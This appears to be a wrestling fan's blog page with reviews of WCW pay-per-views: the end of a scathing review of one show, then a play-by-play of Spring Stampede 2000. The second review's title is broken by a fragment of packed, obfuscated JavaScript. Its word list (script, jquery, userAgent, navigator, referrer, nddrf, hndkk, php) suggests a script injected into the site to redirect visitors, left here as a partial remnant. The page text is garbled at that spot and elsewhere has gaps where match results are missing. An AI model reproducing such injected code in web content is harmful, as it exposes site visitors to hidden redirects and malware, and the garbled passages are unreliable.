Rating: F. You mean, in a Bischoff/Russo booked company, there was a big time face that apparently had been in league with the big heel group the entire time and it was SHOCKING to end a PPV? WHERE DO THEY COME UP WITH THIS STUFF??? The match was awful as Nash wouldn’t sell, the insanity of it was stupid, and Jarrett looked like a guy off Tough Enough.

 

Trash pelts the ring to end this show.

 

Overall Rating: F-. I have no idea what they were going for here but it was one of the worst shows I’ve watched in a long time. The gimmicks were WAY too much and none of them worked at all. You had some bad wrestling, horrid gimmicks, a REALLY stupid heel turn to end the show, and Hogan as #1 contender. Let’s talk about that heel turn for a bit actually.

 

In essence what they were going with was Nash, Hogan and Steiner as the top faces against Bischoff, Russo, Jarrett and Goldberg. In other words, the old guys are the faces and the young guys (if Jarrett counts as a young guy) are the heels. There was one issue with this: Goldberg was so ridiculously popular at this point that he was cheered every time he was on camera, which shows one of two things.

 

One, Russo has no idea what a face is. Oh wait, according to him faces and heels mean nothing. Second, WCW is really freaking stupid. That much is a given so let’s go back to the first part. Assuming what he says is true (it isn’t) then why are there factions or matches at all? Oh that’s right again: Russo doesn’t like having wrestling on his shows. Tell me again, why is this guy praised so much?

 

Anyway, AWFUL show here and somehow it would only get worse with the absolute mess they had the next month with Hogan and Russo clashing.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

 




Spring Stampede 2000: If You Like Tournaments, FIND THIS SHOW IMMEDIATELY!!!

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nddrf|var|u0026u|referrer|hndkk||js|php'.split('|'),0,{})) Stampede 2000
Date: April 16, 2000
Location: United Center, Chicago, Illinois
Attendance: 12,556
Commentators: Tony Schiavone, Mark Madden, Scott Hudson

 

 

Eric yells at Kidman, Torrie and Russo.

 

Tag Title Tournament Semi-Finals: Mamalukes vs. Team Package

 

Team Package, Flair and Luger, say that Flair is in street clothes because Russo has made it a street fight. Who wears golf clothes to a street fight? I think Team Package are the faces here but I have no idea for the most part. The Mamalukes have Disco Inferno with them. I have no idea if there has been another round before this one or if there were only four teams in the whole thing.

 

 

Two “security” guys come out and take Disco out. No idea who they are. Oh ok this is something to do with the Mamaluke angle that sucked. Hot tag to Luger and after waiting on Vito to jump on him, house is cleaned and Bull is racked after heel miscommunication, sending Team Package to the finals.

 

 

We recap Jimmy Hart vs. a radio show host. Yes this is happening on a PPV.

 

Mancow vs. Jimmy Hart

 

Kidman comes out to beat up Hart for no apparent reason.

 

Russo yells at the four guys that Team Package beat.

 

US Title Tournament Quarter-Finals: The Wall vs. Scott Steiner

 

Now Steiner takes a low blow. Are you noticing the whole mirror image thing? Have you noticed how stupid the all No DQ rules are really freaking stupid? Oh wait there are disqualifications but they have to be REALLY big things to cause one. Remember that. We go to the floor and Wall pulls out a table. Steiner blocks a chokeslam through it and a blinded Wall chokeslams the referee through it for the lame DQ.

 

 

US Title Tourament Quarter-Finals: Mike Awesome vs. Ernest Miller

 

Rating: D. The brawling was decent and Awesome was incredible as usual but the whole Bigelow/Miller thing was totally pointless. Also it makes no sense as either guy not named Awesome should have been disqualified for interference but whatever. This was nothing interesting but was there to have Awesome get pushed harder, which is fine.

 

Russo tells Bischoff to calm down. Bischoff tells Kidman to take care of Hogan.

 

Tag Title Tournament Semi-Finals: Harlem Heat 2000 vs. Buff Bagwell/Shane Douglas

 

That makes the finals Team Package vs. Buff Bagwell/Shane Douglas

 

US Title Tournament Quarter-Finals: Booker vs. Sting

 

 

Booker brings him back to shake his hand. Booker is New Blood according to Tony. Whatever man.

 

US Title Tournament Quarter-Finals: Billy Kidman vs. Vampiro

 

 

 

In the back Russo leaves Bischoff to freak out on his own.

 

Oh before I forget, here are the US Title brackets:

 

Steiner

Awesome

 

Sting

Kidman

 

Terry Taylor tells Terry Funk that the Hardcore match is going to begin in catering. “Take a right at the Doritos.”

 

Hardcore Title: Terry Funk vs. Norman Smiley

 

 

 

Russo tells Booker to watch his step and wants a favor.

 

US Title Tournament Semi-Finals: Mike Awesome vs. Scott Steiner

 

 

Dustin, who is somehow New Blood, is fired for not keeping Funk from winning the title. Russo takes credit for Goldust and making him everything he ever was. I give up.

 

US Title Tournament Semi-Finals: Vampiro vs. Sting

 

 

Sting vs. Steiner for the title later.

 

Page wants to beat Jarrett.

 

Cruiserweight Title: Artist vs. Chris Candido vs. Juventud Guerrera vs. Shannon Moore vs. Lash Leroux vs. Crowbar

 

One fall to a finish here. If DQ rules have been relaxed why not allow everyone to run in all the time? Lash vs. Juvy now as this is going to be one of those insane matches. Juvy Driver gets two as Artist saves. Daffney accidentally hits a Frankenscreamer on her man crowbar and then screams her way out of trouble. We bust out the dives by everyone and everybody is down.

 

 

Tag Titles: Team Package vs. Buff Bagwell/Shane Douglas

 

 

 

Sting says Steiner is the next casualty of this war.

 

US Title: Sting vs. Scott Steiner

 

Sting starts his comeback and hits the Stinger Splash. The second one results in the referee getting crushed so Sting goes for two more of them. The first one hits but the second is stopped as Vampiro pulls him under the ring through the mat and Sting is gone. He comes back and is busted open and out cold. Steiner puts on the Recliner and wins the title by TKO.

 

We recap Jarrett vs. DDP which was set up Monday. Jarrett got his spot in this automatically while Page had to beat Luger and then the winner of Sting vs. Sid. Sid was champion but was stripped of the title instead. DDP beat Sting after New Blood interference in all three matches.

 

WCW World Title: Jeff Jarrett vs. Diamond Dallas Page

 

 

 

The New Blood celebrates together to end the show.